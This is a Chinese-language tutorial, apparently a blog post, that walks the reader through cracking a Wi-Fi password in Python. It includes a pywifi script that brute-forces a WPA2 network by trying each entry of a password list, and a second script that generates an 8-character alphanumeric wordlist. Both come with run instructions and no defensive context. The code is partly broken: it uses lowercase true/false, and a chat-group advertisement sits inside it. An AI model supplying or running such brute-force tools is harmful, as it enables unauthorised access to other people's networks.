一、编写代码
在桌面新建一个文件
如果你新建的文件没有后缀名.txt,请进行如下设置
打开刚刚新建的文件,下面代码写入文件,保存
# coding:utf-8
import pywifi
from pywifi import const
import time
import datetime
#测试连接,返回链接结果
def wificonnect(pwd):
#抓取网卡接口
wifi=pywifi.pywifi()
#获取第一个无线网卡
ifaces=wifi.interfaces()[0]
#断开所有连接
ifaces.disconnect()
time.sleep(1)
wifistatus=ifaces.status()
if wifistatus ==const.iface_disconnected:
#创建wifi连接文件
profile=pywifi.profile()
#要连接wifi的名称
profile.ssid="tp-link_1301"
#网卡的开放状态
profile.auth=const.auth_alg_open
#wifi加密算法,一般wifi加密算法为wps
profile.akm.append(const.akm_type_wpa2psk)
#加密单元
profile.cipher=const.cipher_type_ccmp
#调用密码
profile.key=pwd
#删除所有连接过的wifi文件
ifaces.remove_all_network_profiles()
#设定新的连接文件
tep_profile=ifaces.add_network_profile(profile)
ifaces.connect(tep_profile)
#wifi连接时间
time.sleep(1)
if ifaces.status()==const.iface_connected:
return true
else:
return false
else:
print("已有wifi连接")
#读取密码本
def readpassword():
print("开始破解:")
#密码本路径
path="c:\\users\\糖果\\desktop\\markdown学习\\pwd.txt"
#打开文件
file=open(path,"r")
while true:
try:
#一行一行读取
pad=file.readline()
bool=wificonnect(pad)
python学习交流群:748989764
if bool:
print("密码已破解: ",pad)
print("wifi已自动连接!!!")
break
#else:
#跳出当前循环,进行下一次循环
#print("密码破解中....密码校对: ",pad)
except:
continue
start=datetime.datetime.now()
readpassword()
end=datetime.datetime.now()
print("破解wifi密码一共用了多长时间:{}".format(end-start))
将刚刚建的文件,重命名为:wifi密码的破解代码.py(xxx.py均可)
二、展示测试结果
必备文件
三、测试
- 打开python软件
2.打开代码:
- file→open→破解wifi密码.py(找到破解代码)→打开
3.测试运行
- 修改:wifi名 和 密码本路径
- 测试:run→run module
四、生成密码本(建议自己找一个密码本)
- 如果有密码本就不需要这个步骤
1.代码(密码中有重复的数字和字母)
1.修改: 密码组成元素 和 密码保存路径
- 注意这个密码本生成需要很长时间,建议不要这样生成密码本
import itertools as its
import datetime
#记录程序运行时间
start=datetime.datetime.now()
words = '1234567890abcdefghijklmnopqrstuvwxyz'#这里可以加入字母和其他字符,使用string包更方便
# 生成密码的位数
r = its.product(words,repeat=8)#密码位数为9
dic =open(r"c:\\users\\糖果\\desktop\\markdown学习\\pwd.txt",'a')
for i in r:
dic.write(''.join(i))
dic.write(''.join('\n'))
print(i)
python学习交流群:748989764
dic.close()
print('密码本生成好了')
end=datetime.datetime.now()
print("生成密码本一共用了多长时间:{}".format(end-start))
- 运行步骤和前面破解wifi密码相同不再讲解。
发表评论